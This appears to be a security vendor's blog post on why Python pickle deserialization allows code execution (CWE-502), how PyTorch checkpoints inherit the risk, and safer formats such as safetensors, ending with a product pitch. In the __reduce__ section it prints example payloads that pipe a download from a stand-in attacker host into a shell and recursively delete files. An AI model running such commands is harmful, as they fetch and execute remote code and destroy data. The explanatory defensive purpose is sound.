Open the official CPython documentation for the pickle module and the warning is not buried in a footnote — it is in the second paragraph: "It is possible to construct malicious pickle data which will execute arbitrary code during unpickling," followed by an explicit instruction to "never unpickle data that could have come from an untrusted or unauthenticated source." That warning has sat there for years, and it describes intended, documented behavior rather than a bug waiting for a patch. Pickle's object-reconstruction protocol, built around the __reduce__ method, lets any class tell the unpickler exactly how to rebuild it — including handing back a callable and arguments to execute. An attacker who controls pickle bytes controls what runs when you load them. This isn't an academic concern: it's the exact mechanism (classified under CWE-502, "Deserialization of Untrusted Data") that keeps resurfacing in machine learning pipelines, where frameworks like PyTorch have historically defaulted to pickle for checkpoint files pulled from public model hubs. This post walks through why pickle behaves this way, why the ML ecosystem inherited the risk at scale, and which alternatives — JSON, Protocol Buffers, and Hugging Face's safetensors — actually close the gap.
How does unpickling become code execution?
Unpickling becomes code execution because pickle doesn't just restore data — it replays instructions for rebuilding arbitrary Python objects, and one of those instructions can be "call this function." The __reduce__ protocol lets any object define a tuple of (callable, args) that the unpickler will invoke to reconstruct it. A legitimate class might return (MyClass, (state,)). A malicious payload can just as easily return (os.system, ('curl attacker.example | sh',)) or (subprocess.Popen, (['rm', '-rf', '.'],)). There's no separate memory-corruption exploit required and no sandbox to escape — the pickle format's opcodes (GLOBAL, REDUCE, and friends) are designed to import a module, look up an attribute, and call it with attacker-supplied arguments. Tools that generate proof-of-concept malicious pickles, such as the long-circulated pickle exploitation scripts built on pickletools, don't rely on any implementation flaw in CPython; they use the format exactly as specified. That's why the fix has never been "patch pickle" — it's "don't unpickle data you don't trust."
Why is this CWE-502, and how is it different from other deserialization bugs?
CWE-502, "Deserialization of Untrusted Data," is the MITRE weakness category that covers any format where reconstructing an object graph from bytes can trigger unintended behavior — pickle sits in the same family as Java's native serialization, PHP's unserialize(), and unsafe YAML loading via yaml.load() without SafeLoader. What distinguishes pickle is how little scaffolding an attacker needs: Java deserialization exploits typically require finding a usable "gadget chain" already present on the classpath, and PHP's unserialize() attacks depend on magic methods like __wakeup() lining up with exploitable code. Pickle's __reduce__ mechanism is a general-purpose, first-class "call this function" primitive built into the format itself, so crafting a working payload is comparatively trivial once you know the target has pickle, import os, and a socket or shell available — which describes almost every Python environment. There is no single CVE against CPython's pickle module for this behavior, because it's documented and intended; instead, CVEs get filed against specific applications and libraries that unpickle attacker-reachable input.
Why does this keep showing up in ML model-loading pipelines?
This keeps showing up in ML pipelines because PyTorch's torch.save() and torch.load() have historically serialized model checkpoints — .pt, .pth, and often .bin files — using Python's pickle format under the hood, and for years torch.load() would happily unpickle whatever bytes you pointed it at. That design choice met the ML ecosystem's default workflow head-on: practitioners routinely download pretrained weights from public hubs and third-party mirrors, then load them directly into a training or inference process with elevated filesystem and network access. A model file is, functionally, an untrusted input from an untrusted source — exactly the scenario the pickle documentation warns against — but it doesn't look like one; it looks like a .bin of floating-point tensors. PyTorch has since added weights_only protections to torch.load() to restrict what can be reconstructed during a load, narrowing the attack surface for callers who opt in, but pickle-based checkpoint formats remain widely supported and widely published. Hugging Face Hub has publicly documented scanning uploaded models for pickle-based malicious content precisely because of this exposure, and actively promotes non-pickle formats as the safer default for anyone hosting or downloading weights.
What actually replaces pickle safely?
JSON, Protocol Buffers, and safetensors replace pickle safely because none of them can express "call this function" as part of deserialization — they can only express data. JSON is text-based, schema-less, and restricted to strings, numbers, booleans, arrays, and objects; there's no opcode for invoking a callable, which is why it's the standard for config files and API payloads that cross trust boundaries. Protocol Buffers go further for structured or binary data: a .proto schema defines exactly which fields and types are legal, so a decoder rejects anything that doesn't match the contract rather than improvising an object graph from instructions embedded in the bytes. For ML weights specifically, Hugging Face designed safetensors as a purpose-built alternative: it stores only raw tensor data plus a JSON header describing shapes and dtypes, with no executable path at load time at all — loading a safetensors file cannot run arbitrary code no matter what bytes it contains. None of these formats can serialize arbitrary Python objects the way pickle can, which is precisely the constraint that makes them safe for untrusted input.
What should teams actually do about pickle today?
Teams should treat any pickle load of externally sourced data — including ML checkpoints pulled from a hub, cache, or user upload — as equivalent to running unreviewed code, because that is what it is. Concretely: never call pickle.load(), torch.load() without weights_only=True, or joblib.load() on files you didn't produce yourself in a trusted pipeline; prefer safetensors for any model weights you download; and if you must accept pickle from a partially trusted source, isolate the load in a sandboxed, network-restricted process rather than your main application. Static and dependency scanning can help catch the code-level pattern — Bandit's B301 check flags unsafe pickle usage and maps it to CWE-502 — but that only covers code you wrote; it says nothing about a .pt file sitting in your model registry. That's the gap Safeguard's AI-BOM and model security capabilities target directly: Safeguard scans model weights for embedded executable code and can block any model that would run disallowed operations at load time, and its malware detection has specifically flagged pickle-based payloads distributed through compromised Hugging Face model repositories, treating the weight file itself as the untrusted artifact it is.